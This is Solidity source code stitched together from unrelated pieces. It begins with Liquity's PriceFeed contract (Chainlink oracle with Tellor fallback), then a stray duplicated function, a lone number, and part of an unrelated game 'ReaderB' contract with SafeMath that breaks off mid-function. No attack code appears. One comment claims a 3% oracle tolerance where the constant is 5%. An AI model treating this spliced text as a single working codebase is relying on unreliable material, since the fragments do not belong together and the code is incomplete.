// SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "./Interfaces/IPriceFeed.sol"; import "./Interfaces/ITellorCaller.sol"; import "./Dependencies/AggregatorV3Interface.sol"; import "./Dependencies/SafeMath.sol"; import "./Dependencies/Ownable.sol"; import "./Dependencies/CheckContract.sol"; import "./Dependencies/BaseMath.sol"; import "./Dependencies/LiquityMath.sol"; import "./Dependencies/console.sol"; /* * PriceFeed for mainnet deployment, to be connected to Chainlink's live ETH:USD aggregator reference * contract, and a wrapper contract TellorCaller, which connects to TellorMaster contract. * * The PriceFeed uses Chainlink as primary oracle, and Tellor as fallback. It contains logic for * switching oracles based on oracle failures, timeouts, and conditions for returning to the primary * Chainlink oracle. */ contract PriceFeed is Ownable, CheckContract, BaseMath, IPriceFeed { using SafeMath for uint256; string constant public NAME = "PriceFeed"; AggregatorV3Interface public priceAggregator; // Mainnet Chainlink aggregator ITellorCaller public tellorCaller; // Wrapper contract that calls the Tellor system // Core Liquity contracts address borrowerOperationsAddress; address troveManagerAddress; uint constant public ETHUSD_TELLOR_REQ_ID = 1; // Use to convert a price answer to an 18-digit precision uint uint constant public TARGET_DIGITS = 18; uint constant public TELLOR_DIGITS = 6; // Maximum time period allowed since Chainlink's latest round data timestamp, beyond which Chainlink is considered frozen. uint constant public TIMEOUT = 14400; // 4 hours: 60 * 60 * 4 // Maximum deviation allowed between two consecutive Chainlink oracle prices. 18-digit precision. uint constant public MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND = 5e17; // 50% /* * The maximum relative price difference between two oracle responses allowed in order for the PriceFeed * to return to using the Chainlink oracle. 18-digit precision. */ uint constant public MAX_PRICE_DIFFERENCE_BETWEEN_ORACLES = 5e16; // 5% // The last good price seen from an oracle by Liquity uint public lastGoodPrice; struct ChainlinkResponse { uint80 roundId; int256 answer; uint256 timestamp; bool success; uint8 decimals; } struct TellorResponse { bool ifRetrieve; uint256 value; uint256 timestamp; bool success; } enum Status { chainlinkWorking, usingTellorChainlinkUntrusted, bothOraclesUntrusted, usingTellorChainlinkFrozen, usingChainlinkTellorUntrusted } // The current status of the PricFeed, which determines the conditions for the next price fetch attempt Status public status; event LastGoodPriceUpdated(uint _lastGoodPrice); event PriceFeedStatusChanged(Status newStatus); // --- Dependency setters --- function setAddresses( address _priceAggregatorAddress, address _tellorCallerAddress ) external onlyOwner { checkContract(_priceAggregatorAddress); checkContract(_tellorCallerAddress); priceAggregator = AggregatorV3Interface(_priceAggregatorAddress); tellorCaller = ITellorCaller(_tellorCallerAddress); // Explicitly set initial system status status = Status.chainlinkWorking; // Get an initial price from Chainlink to serve as first reference for lastGoodPrice ChainlinkResponse memory chainlinkResponse = _getCurrentChainlinkResponse(); ChainlinkResponse memory prevChainlinkResponse = _getPrevChainlinkResponse(chainlinkResponse.roundId, chainlinkResponse.decimals); require(!_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse) && !_chainlinkIsFrozen(chainlinkResponse), "PriceFeed: Chainlink must be working and current"); _storeChainlinkPrice(chainlinkResponse); _renounceOwnership(); } // --- Functions --- /* * fetchPrice(): * Returns the latest price obtained from the Oracle. Called by Liquity functions that require a current price. * * Also callable by anyone externally. * * Non-view function - it stores the last good price seen by Liquity. * * Uses a main oracle (Chainlink) and a fallback oracle (Tellor) in case Chainlink fails. If both fail, * it uses the last good price seen by Liquity. * */ function fetchPrice() external override returns (uint) { // Get current and previous price data from Chainlink, and current price data from Tellor ChainlinkResponse memory chainlinkResponse = _getCurrentChainlinkResponse(); ChainlinkResponse memory prevChainlinkResponse = _getPrevChainlinkResponse(chainlinkResponse.roundId, chainlinkResponse.decimals); TellorResponse memory tellorResponse = _getCurrentTellorResponse(); // --- CASE 1: System fetched last price from Chainlink --- if (status == Status.chainlinkWorking) { // If Chainlink is broken, try Tellor if (_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse)) { // If Tellor is broken then both oracles are untrusted, so return the last good price if (_tellorIsBroken(tellorResponse)) { _changeStatus(Status.bothOraclesUntrusted); return lastGoodPrice; } /* * If Tellor is only frozen but otherwise returning valid data, return the last good price. * Tellor may need to be tipped to return current data. */ if (_tellorIsFrozen(tellorResponse)) { _changeStatus(Status.usingTellorChainlinkUntrusted); return lastGoodPrice; } // If Chainlink is broken and Tellor is working, switch to Tellor and return current Tellor price _changeStatus(Status.usingTellorChainlinkUntrusted); return _storeTellorPrice(tellorResponse); } // If Chainlink is frozen, try Tellor if (_chainlinkIsFrozen(chainlinkResponse)) { // If Tellor is broken too, remember Tellor broke, and return last good price if (_tellorIsBroken(tellorResponse)) { _changeStatus(Status.usingChainlinkTellorUntrusted); return lastGoodPrice; } // If Tellor is frozen or working, remember Chainlink froze, and switch to Tellor _changeStatus(Status.usingTellorChainlinkFrozen); if (_tellorIsFrozen(tellorResponse)) {return lastGoodPrice;} // If Tellor is working, use it return _storeTellorPrice(tellorResponse); } // If Chainlink price has changed by > 50% between two consecutive rounds, compare it to Tellor's price if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) { // If Tellor is broken, both oracles are untrusted, and return last good price if (_tellorIsBroken(tellorResponse)) { _changeStatus(Status.bothOraclesUntrusted); return lastGoodPrice; } // If Tellor is frozen, switch to Tellor and return last good price if (_tellorIsFrozen(tellorResponse)) { _changeStatus(Status.usingTellorChainlinkUntrusted); return lastGoodPrice; } /* * If Tellor is live and both oracles have a similar price, conclude that Chainlink's large price deviation between * two consecutive rounds was likely a legitmate market price movement, and so continue using Chainlink */ if (_bothOraclesSimilarPrice(chainlinkResponse, tellorResponse)) { return _storeChainlinkPrice(chainlinkResponse); } // If Tellor is live but the oracles differ too much in price, conclude that Chainlink's initial price deviation was // an oracle failure. Switch to Tellor, and use Tellor price _changeStatus(Status.usingTellorChainlinkUntrusted); return _storeTellorPrice(tellorResponse); } // If Chainlink is working and Tellor is broken, remember Tellor is broken if (_tellorIsBroken(tellorResponse)) { _changeStatus(Status.usingChainlinkTellorUntrusted); } // If Chainlink is working, return Chainlink current price (no status change) return _storeChainlinkPrice(chainlinkResponse); } // --- CASE 2: The system fetched last price from Tellor --- if (status == Status.usingTellorChainlinkUntrusted) { // If both Tellor and Chainlink are live, unbroken, and reporting similar prices, switch back to Chainlink if (_bothOraclesLiveAndUnbrokenAndSimilarPrice(chainlinkResponse, prevChainlinkResponse, tellorResponse)) { _changeStatus(Status.chainlinkWorking); return _storeChainlinkPrice(chainlinkResponse); } if (_tellorIsBroken(tellorResponse)) { _changeStatus(Status.bothOraclesUntrusted); return lastGoodPrice; } /* * If Tellor is only frozen but otherwise returning valid data, just return the last good price. * Tellor may need to be tipped to return current data. */ if (_tellorIsFrozen(tellorResponse)) {return lastGoodPrice;} // Otherwise, use Tellor price return _storeTellorPrice(tellorResponse); } // --- CASE 3: Both oracles were untrusted at the last price fetch --- if (status == Status.bothOraclesUntrusted) { /* * If both oracles are now live, unbroken and similar price, we assume that they are reporting * accurately, and so we switch back to Chainlink. */ if (_bothOraclesLiveAndUnbrokenAndSimilarPrice(chainlinkResponse, prevChainlinkResponse, tellorResponse)) { _changeStatus(Status.chainlinkWorking); return _storeChainlinkPrice(chainlinkResponse); } // Otherwise, return the last good price - both oracles are still untrusted (no status change) return lastGoodPrice; } // --- CASE 4: Using Tellor, and Chainlink is frozen --- if (status == Status.usingTellorChainlinkFrozen) { if (_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse)) { // If both Oracles are broken, return last good price if (_tellorIsBroken(tellorResponse)) { _changeStatus(Status.bothOraclesUntrusted); return lastGoodPrice; } // If Chainlink is broken, remember it and switch to using Tellor _changeStatus(Status.usingTellorChainlinkUntrusted); if (_tellorIsFrozen(tellorResponse)) {return lastGoodPrice;} // If Tellor is working, return Tellor current price return _storeTellorPrice(tellorResponse); } if (_chainlinkIsFrozen(chainlinkResponse)) { // if Chainlink is frozen and Tellor is broken, remember Tellor broke, and return last good price if (_tellorIsBroken(tellorResponse)) { _changeStatus(Status.usingChainlinkTellorUntrusted); return lastGoodPrice; } // If both are frozen, just use lastGoodPrice if (_tellorIsFrozen(tellorResponse)) {return lastGoodPrice;} // if Chainlink is frozen and Tellor is working, keep using Tellor (no status change) return _storeTellorPrice(tellorResponse); } // if Chainlink is live and Tellor is broken, remember Tellor broke, and return Chainlink price if (_tellorIsBroken(tellorResponse)) { _changeStatus(Status.usingChainlinkTellorUntrusted); return _storeChainlinkPrice(chainlinkResponse); } // If Chainlink is live and Tellor is frozen, just use last good price (no status change) since we have no basis for comparison if (_tellorIsFrozen(tellorResponse)) {return lastGoodPrice;} // If Chainlink is live and Tellor is working, compare prices. Switch to Chainlink // if prices are within 5%, and return Chainlink price. if (_bothOraclesSimilarPrice(chainlinkResponse, tellorResponse)) { _changeStatus(Status.chainlinkWorking); return _storeChainlinkPrice(chainlinkResponse); } // Otherwise if Chainlink is live but price not within 5% of Tellor, distrust Chainlink, and return Tellor price _changeStatus(Status.usingTellorChainlinkUntrusted); return _storeTellorPrice(tellorResponse); } // --- CASE 5: Using Chainlink, Tellor is untrusted --- if (status == Status.usingChainlinkTellorUntrusted) { // If Chainlink breaks, now both oracles are untrusted if (_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse)) { _changeStatus(Status.bothOraclesUntrusted); return lastGoodPrice; } // If Chainlink is frozen, return last good price (no status change) if (_chainlinkIsFrozen(chainlinkResponse)) { return lastGoodPrice; } // If Chainlink and Tellor are both live, unbroken and similar price, switch back to chainlinkWorking and return Chainlink price if (_bothOraclesLiveAndUnbrokenAndSimilarPrice(chainlinkResponse, prevChainlinkResponse, tellorResponse)) { _changeStatus(Status.chainlinkWorking); return _storeChainlinkPrice(chainlinkResponse); } // If Chainlink is live but deviated >50% from it's previous price and Tellor is still untrusted, switch // to bothOraclesUntrusted and return last good price if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) { _changeStatus(Status.bothOraclesUntrusted); return lastGoodPrice; } // Otherwise if Chainlink is live and deviated <50% from it's previous price and Tellor is still untrusted, // return Chainlink price (no status change) return _storeChainlinkPrice(chainlinkResponse); } } // --- Helper functions --- /* Chainlink is considered broken if its current or previous round data is in any way bad. We check the previous round * for two reasons: * * 1) It is necessary data for the price deviation check in case 1, * and * 2) Chainlink is the PriceFeed's preferred primary oracle - having two consecutive valid round responses adds * peace of mind when using or returning to Chainlink. */ function _chainlinkIsBroken(ChainlinkResponse memory _currentResponse, ChainlinkResponse memory _prevResponse) internal view returns (bool) { return _badChainlinkResponse(_currentResponse) || _badChainlinkResponse(_prevResponse); } function _badChainlinkResponse(ChainlinkResponse memory _response) internal view returns (bool) { // Check for response call reverted if (!_response.success) {return true;} // Check for an invalid roundId that is 0 if (_response.roundId == 0) {return true;} // Check for an invalid timeStamp that is 0, or in the future if (_response.timestamp == 0 || _response.timestamp > block.timestamp) {return true;} // Check for non-positive price if (_response.answer <= 0) {return true;} return false; } function _chainlinkIsFrozen(ChainlinkResponse memory _response) internal view returns (bool) { return block.timestamp.sub(_response.timestamp) > TIMEOUT; } function _chainlinkPriceChangeAboveMax(ChainlinkResponse memory _currentResponse, ChainlinkResponse memory _prevResponse) internal pure returns (bool) { uint currentScaledPrice = _scaleChainlinkPriceByDigits(uint256(_currentResponse.answer), _currentResponse.decimals); uint prevScaledPrice = _scaleChainlinkPriceByDigits(uint256(_prevResponse.answer), _prevResponse.decimals); uint minPrice = LiquityMath._min(currentScaledPrice, prevScaledPrice); uint maxPrice = LiquityMath._max(currentScaledPrice, prevScaledPrice); /* * Use the larger price as the denominator: * - If price decreased, the percentage deviation is in relation to the the previous price. * - If price increased, the percentage deviation is in relation to the current price. */ uint percentDeviation = maxPrice.sub(minPrice).mul(DECIMAL_PRECISION).div(maxPrice); // Return true if price has more than doubled, or more than halved. return percentDeviation > MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND; } function _tellorIsBroken(TellorResponse memory _response) internal view returns (bool) { // Check for response call reverted if (!_response.success) {return true;} // Check for an invalid timeStamp that is 0, or in the future if (_response.timestamp == 0 || _response.timestamp > block.timestamp) {return true;} // Check for zero price if (_response.value == 0) {return true;} return false; } function _tellorIsFrozen(TellorResponse memory _tellorResponse) internal view returns (bool) { return block.timestamp.sub(_tellorResponse.timestamp) > TIMEOUT; } function _bothOraclesLiveAndUnbrokenAndSimilarPrice ( ChainlinkResponse memory _chainlinkResponse, ChainlinkResponse memory _prevChainlinkResponse, TellorResponse memory _tellorResponse ) internal view returns (bool) { // Return false if either oracle is broken or frozen if ( _tellorIsBroken(_tellorResponse) || _tellorIsFrozen(_tellorResponse) || _chainlinkIsBroken(_chainlinkResponse, _prevChainlinkResponse) || _chainlinkIsFrozen(_chainlinkResponse) ) { return false; } return _bothOraclesSimilarPrice(_chainlinkResponse, _tellorResponse); } function _bothOraclesSimilarPrice( ChainlinkResponse memory _chainlinkResponse, TellorResponse memory _tellorResponse) internal pure returns (bool) { uint scaledChainlinkPrice = _scaleChainlinkPriceByDigits(uint256(_chainlinkResponse.answer), _chainlinkResponse.decimals); uint scaledTellorPrice = _scaleTellorPriceByDigits(_tellorResponse.value); // Get the relative price difference between the oracles. Use the lower price as the denominator, i.e. the reference for the calculation. uint minPrice = LiquityMath._min(scaledTellorPrice, scaledChainlinkPrice); uint maxPrice = LiquityMath._max(scaledTellorPrice, scaledChainlinkPrice); uint percentPriceDifference = maxPrice.sub(minPrice).mul(DECIMAL_PRECISION).div(minPrice); /* * Return true if the relative price difference is <= 3%: if so, we assume both oracles are probably reporting * the honest market price, as it is unlikely that both have been broken/hacked and are still in-sync. */ return percentPriceDifference <= MAX_PRICE_DIFFERENCE_BETWEEN_ORACLES; } function _scaleChainlinkPriceByDigits(uint _price, uint _answerDigits) internal pure returns (uint) { /* * Convert the price returned by the Chainlink oracle to an 18-digit decimal for use by Liquity. * At date of Liquity launch, Chainlink uses an 8-digit price, but we also handle the possibility of * future changes. * */ uint price; if (_answerDigits >= TARGET_DIGITS) { // Scale the returned price value down to Liquity's target precision price = _price.div(10 ** (_answerDigits - TARGET_DIGITS)); } else if (_answerDigits < TARGET_DIGITS) { // Scale the returned price value up to Liquity's target precision price = _price.mul(10 ** (TARGET_DIGITS - _answerDigits)); } return price; } function _scaleTellorPriceByDigits(uint _price) internal pure returns (uint) { return _price.mul(10**(TARGET_DIGITS - TELLOR_DIGITS)); } function _changeStatus(Status _status) internal { status = _status; emit PriceFeedStatusChanged(_status); } function _storePrice(uint _currentPrice) internal { lastGoodPrice = _currentPrice; emit LastGoodPriceUpdated(_currentPrice); } function _storeTellorPrice(TellorResponse memory _tellorResponse) internal returns (uint) { uint scaledTellorPrice = _scaleTellorPriceByDigits(_tellorResponse.value); _storePrice(scaledTellorPrice); return scaledTellorPrice; } function _storeChainlinkPrice(ChainlinkResponse memory _chainlinkResponse) internal returns (uint) { uint scaledChainlinkPrice = _scaleChainlinkPriceByDigits(uint256(_chainlinkResponse.answer), _chainlinkResponse.decimals); _storePrice(scaledChainlinkPrice); return scaledChainlinkPrice; } // --- Oracle response wrapper functions --- function _getCurrentTellorResponse() internal view returns (TellorResponse memory tellorResponse) { try tellorCaller.getTellorCurrentValue(ETHUSD_TELLOR_REQ_ID) returns ( bool ifRetrieve, uint256 value, uint256 _timestampRetrieved ) { // If call to Tellor succeeds, return the response and success = true tellorResponse.ifRetrieve = ifRetrieve; tellorResponse.value = value; tellorResponse.timestamp = _timestampRetrieved; tellorResponse.success = true; return (tellorResponse); }catch { // If call to Tellor reverts, return a zero response with success = false return (tellorResponse); } } function _getCurrentChainlinkResponse() internal view returns (ChainlinkResponse memory chainlinkResponse) { // First, try to get current decimal precision: try priceAggregator.decimals() returns (uint8 decimals) { // If call to Chainlink succeeds, record the current decimal precision chainlinkResponse.decimals = decimals; } catch { // If call to Chainlink aggregator reverts, return a zero response with success = false return chainlinkResponse; } // Secondly, try to get latest price data: try priceAggregator.latestRoundData() returns ( uint80 roundId, int256 answer, uint256 /* startedAt */, uint256 timestamp, uint80 /* answeredInRound */ ) { // If call to Chainlink succeeds, return the response and success = true chainlinkResponse.roundId = roundId; chainlinkResponse.answer = answer; chainlinkResponse.timestamp = timestamp; chainlinkResponse.success = true; return chainlinkResponse; } catch { // If call to Chainlink aggregator reverts, return a zero response with success = false return chainlinkResponse; } } function _getPrevChainlinkResponse(uint80 _currentRoundId, uint8 _currentDecimals) internal view returns (ChainlinkResponse memory prevChainlinkResponse) { /* * NOTE: Chainlink only offers a current decimals() value - there is no way to obtain the decimal precision used in a * previous round. We assume the decimals used in the previous round are the same as the current round. */ // Try to get the price data from the previous round: try priceAggregator.getRoundData(_currentRoundId - 1) returns ( uint80 roundId, int256 answer, uint256 /* startedAt */, uint256 timestamp, uint80 /* answeredInRound */ ) { // If call to Chainlink succeeds, return the response and success = true prevChainlinkResponse.roundId = roundId; prevChainlinkResponse.answer = answer; prevChainlinkResponse.timestamp = timestamp; prevChainlinkResponse.decimals = _currentDecimals; prevChainlinkResponse.success = true; return prevChainlinkResponse; } catch { // If call to Chainlink aggregator reverts, return a zero response with success = false return prevChainlinkResponse; } } }
Return false if either oracle is broken or frozen
function _bothOraclesLiveAndUnbrokenAndSimilarPrice ( ChainlinkResponse memory _chainlinkResponse, ChainlinkResponse memory _prevChainlinkResponse, TellorResponse memory _tellorResponse ) internal view returns (bool) { if ( _tellorIsBroken(_tellorResponse) || _tellorIsFrozen(_tellorResponse) || _chainlinkIsBroken(_chainlinkResponse, _prevChainlinkResponse) || _chainlinkIsFrozen(_chainlinkResponse) ) { return false; } return _bothOraclesSimilarPrice(_chainlinkResponse, _tellorResponse); }
897,729
pragma solidity =0.5.16; pragma experimental ABIEncoderV2; /** * ______ ____ __ ______ * / ____/____ _ ____ ___ ___ / __ \ ___ ____ _ ____/ /___ _____ / ____/____ _____ * / / __ / __ `// __ `__ \ / _ \ / /_/ // _ \ / __ `// __ // _ \ / ___/ / /_ / __ \ / ___/ * / /_/ // /_/ // / / / / // __/ / _, _// __// /_/ // /_/ // __// / / __/ / /_/ // / * \____/ \__,_//_/ /_/ /_/ \___/ /_/ |_| \___/ \__,_/ \__,_/ \___//_/ /_/ \____//_/ * _____ _____ __ __ _ ___ __ __ * / ___/ ____ _ __ __/ ___/ ____ ____ ___ ___ / /_ / /_ (_)____ ____ _|__ \ _ __ ____ _____ / /____/ / * \__ \ / __ `// / / /\__ \ / __ \ / __ `__ \ / _ \ / __// __ \ / // __ \ / __ `/__/ / | | /| / // __ \ / ___// // __ / * ___/ // /_/ // /_/ /___/ // /_/ // / / / / // __// /_ / / / // // / / // /_/ // __/ _ | |/ |/ // /_/ // / / // /_/ / * /____/ \__,_/ \__, //____/ \____//_/ /_/ /_/ \___/ \__//_/ /_//_//_/ /_/ \__, //____/(_)|__/|__/ \____//_/ /_/ \__,_/ * /____/ /____/ */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of GAME */ interface IGame { function block2timestamp(uint256 blockNumber) external view returns (uint256); function serial2player(uint256 serial) external view returns (address payable); function getStatus() external view returns ( uint256 timer, uint256 roundCounter, uint256 playerCounter, uint256 messageCounter, uint256 cookieCounter, uint256 cookieFund, uint256 winnerFund, uint256 surpriseIssued, uint256 bonusIssued, uint256 cookieIssued, uint256 shareholderIssued ); function getPlayer(address account) external view returns ( uint256 serial, bytes memory name, bytes memory adviserName, address payable adviser, uint256 messageCounter, uint256 cookieCounter, uint256 followerCounter, uint256 followerMessageCounter, uint256 followerCookieCounter, uint256 bonusWeis, uint256 surpriseWeis ); function getPlayerPrime(address account) external view returns ( bytes memory playerName, uint256 pinnedMessageSerial, uint8 topPlayerPosition, uint8 shareholderPosition, uint256 shareholderStakingWeis, uint256 shareholderProfitWeis, uint256 shareholderFirstBlockNumber ); function getPlayerDisplay(address account) external view returns ( uint256 messageCounter, uint256 pinnedMessageSerial, uint256 messageSerial, bytes memory text, uint256 blockNumber ); function getPlayerMessage(address account, uint256 serial) external view returns ( uint256 messageSerial, bytes memory text, uint256 blockNumber ); function getPlayerCookie(address account, uint256 serial) external view returns ( uint256 cookieSerial, address payable player, address payable adviser, bytes memory playerName, bytes memory adviserName, uint256 playerWeis, uint256 adviserWeis, uint256 messageSerial, bytes memory text, uint256 blockNumber ); function getPlayerFollowerCookie(address account, uint256 serial) external view returns ( uint256 cookieSerial, address payable player, address payable adviser, bytes memory playerName, bytes memory adviserName, uint256 playerWeis, uint256 adviserWeis, uint256 messageSerial, bytes memory text, uint256 blockNumber ); function getPlayerFollower(address account, uint256 serial) external view returns (address payable); } /** * @dev Structs of game. */ library GameLib { struct Message { uint256 serial; address account; bytes name; bytes text; uint256 blockNumber; } struct Cookie { uint256 serial; address payable player; address payable adviser; bytes playerName; bytes adviserName; uint256 playerWeis; uint256 adviserWeis; uint256 messageSerial; bytes text; uint256 blockNumber; } struct Round { uint256 openedBlock; uint256 closingBlock; uint256 closedTimestamp; uint256 openingWinnerFund; uint256 closingWinnerFund; address payable opener; uint256 openerBonus; } } /** * @dev Structs of player. */ library PlayerLib { struct Player { uint256 serial; bytes name; bytes adviserName; address payable adviser; uint256 messageCounter; uint256 cookieCounter; uint256 followerCounter; uint256 followerMessageCounter; uint256 followerCookieCounter; uint256 bonusWeis; uint256 surpriseWeis; } } /** * @title GameReaderB contract. */ contract ReaderB { using SafeMath for uint256; using PlayerLib for PlayerLib.Player; IGame private _game; uint8 constant SM_PAGE = 10; uint8 constant LG_PAGE = 20; uint8 constant SHAREHOLDER_MAX_POSITION = 6; uint8 constant TOP_PLAYER_MAX_POSITION = 20; uint8 constant WINNERS_PER_ROUND = 10; /** * @dev Constructor */ constructor () public { _game = IGame(0x1234567B172f040f45D7e924C0a7d088016191A6); } function () external payable { revert("Cannot deposit"); } function game() public view returns (address) { return address(_game); } /** * @dev Returns player info of `account`. */ function player(address account) public view returns ( uint256 serial, bytes memory name, bytes memory adviserName, address payable adviser, uint256 messageCounter, uint256 cookieCounter, uint256 followerCounter, uint256 followerMessageCounter, uint256 followerCookieCounter, uint256 bonusWeis, uint256 surpriseWeis, uint256 firstMessageTimestamp ) { PlayerLib.Player memory thePlayer = _player(account); serial = thePlayer.serial; name = thePlayer.name; adviserName = thePlayer.adviserName; adviser = thePlayer.adviser; messageCounter = thePlayer.messageCounter; cookieCounter = thePlayer.cookieCounter; followerCounter = thePlayer.followerCounter; followerMessageCounter = thePlayer.followerMessageCounter; followerCookieCounter = thePlayer.followerCookieCounter; bonusWeis = thePlayer.bonusWeis; surpriseWeis = thePlayer.surpriseWeis; (, firstMessageTimestamp) = _playerFirstMessageBT(account); } /** * @dev Returns player info @ `playerSerial`. */ function playerAt(uint256 playerSerial) public view returns ( bytes memory name, bytes memory adviserName, address payable account, address payable adviser, uint256 messageCounter, uint256 cookieCounter, uint256 followerCounter, uint256 followerMessageCounter, uint256 followerCookieCounter, uint256 bonusWeis, uint256 surpriseWeis, uint256 firstMessageTimestamp ) { if (playerSerial > 0) { account =_game.serial2player(playerSerial); PlayerLib.Player memory thePlayer = _player(account); adviser = thePlayer.adviser; name = thePlayer.name; adviserName = thePlayer.adviserName; messageCounter = thePlayer.messageCounter; cookieCounter = thePlayer.cookieCounter; followerCounter = thePlayer.followerCounter; followerMessageCounter = thePlayer.followerMessageCounter; followerCookieCounter = thePlayer.followerCookieCounter; bonusWeis = thePlayer.bonusWeis; surpriseWeis = thePlayer.surpriseWeis; (, firstMessageTimestamp) = _playerFirstMessageBT(account); } } /** * Return player top-player and shareholder position, of `account`. */ function playerPrime(address account) public view returns ( uint256 pinnedMessageSerial, uint256 firstMessageBlockNumber, uint256 firstMessageTimestamp, uint8 topPlayerPosition, uint8 shareholderPosition, uint256 shareholderStakingWeis, uint256 shareholderProfitWeis, uint256 shareholderFirstBlockNumber, uint256 shareholderFirstTimestamp ) { ( firstMessageBlockNumber, firstMessageTimestamp ) = _playerFirstMessageBT(account); ( , // bytes memory playerName, pinnedMessageSerial, topPlayerPosition, shareholderPosition, shareholderStakingWeis, shareholderProfitWeis, shareholderFirstBlockNumber ) = _game.getPlayerPrime(account); shareholderFirstTimestamp = _game.block2timestamp(shareholderFirstBlockNumber); } /** * @dev Returns messages of `account`, `till` a serial. * * till > 0: history * till == 0: latest */ function playerMessages(address account, uint256 till) public view returns ( uint256[SM_PAGE] memory serials, uint256[SM_PAGE] memory messageSerials, bytes[SM_PAGE] memory texts, uint256[SM_PAGE] memory blockNumbers, uint256[SM_PAGE] memory timestamps ) { PlayerLib.Player memory thePlayer = _player(account); if (thePlayer.messageCounter > 0) { if (till == 0) { till = thePlayer.messageCounter; } if (till <= thePlayer.messageCounter) { for (uint256 i = 0; i < SM_PAGE; i++) { uint256 serial = till.sub(i); if (serial < 1) { break; } GameLib.Message memory theMessage = _playerMessage(account, serial); serials[i] = serial; messageSerials[i] = theMessage.serial; texts[i] = theMessage.text; blockNumbers[i] = theMessage.blockNumber; timestamps[i] = _game.block2timestamp(theMessage.blockNumber); } } } } /** * @dev Returns cookies of `account`, `till` a serial. * * till > 0: history * till == 0: latest */ function playerCookies(address account, uint256 till) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory advisers, bytes[SM_PAGE] memory adviserNames, uint256[SM_PAGE] memory playerWeis, uint256[SM_PAGE] memory adviserWeis, uint256[SM_PAGE] memory messageSerials, bytes[SM_PAGE] memory texts, uint256[SM_PAGE] memory blockNumbers, uint256[SM_PAGE] memory timestamps ) { PlayerLib.Player memory thePlayer = _player(account); if (thePlayer.cookieCounter > 0) { if (till == 0) { till = thePlayer.cookieCounter; } if (till <= thePlayer.cookieCounter) { for (uint256 i = 0; i < SM_PAGE; i++) { uint256 serial = till.sub(i); if (serial < 1) { break; } GameLib.Cookie memory cookie = _playerCookie(account, serial); serials[i] = cookie.serial; advisers[i] = cookie.adviser; adviserNames[i] = cookie.adviserName; playerWeis[i] = cookie.playerWeis; adviserWeis[i] = cookie.adviserWeis; messageSerials[i] = cookie.messageSerial; texts[i] = cookie.text; blockNumbers[i] = cookie.blockNumber; timestamps[i] = _game.block2timestamp(cookie.blockNumber); } } } } /** * @dev Returns follower-cookies of `account`, `till` a serial. * * till > 0: history * till == 0: latest */ function playerFollowerCookies(address account, uint256 till) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory players, bytes[SM_PAGE] memory playerNames, uint256[SM_PAGE] memory playerWeis, 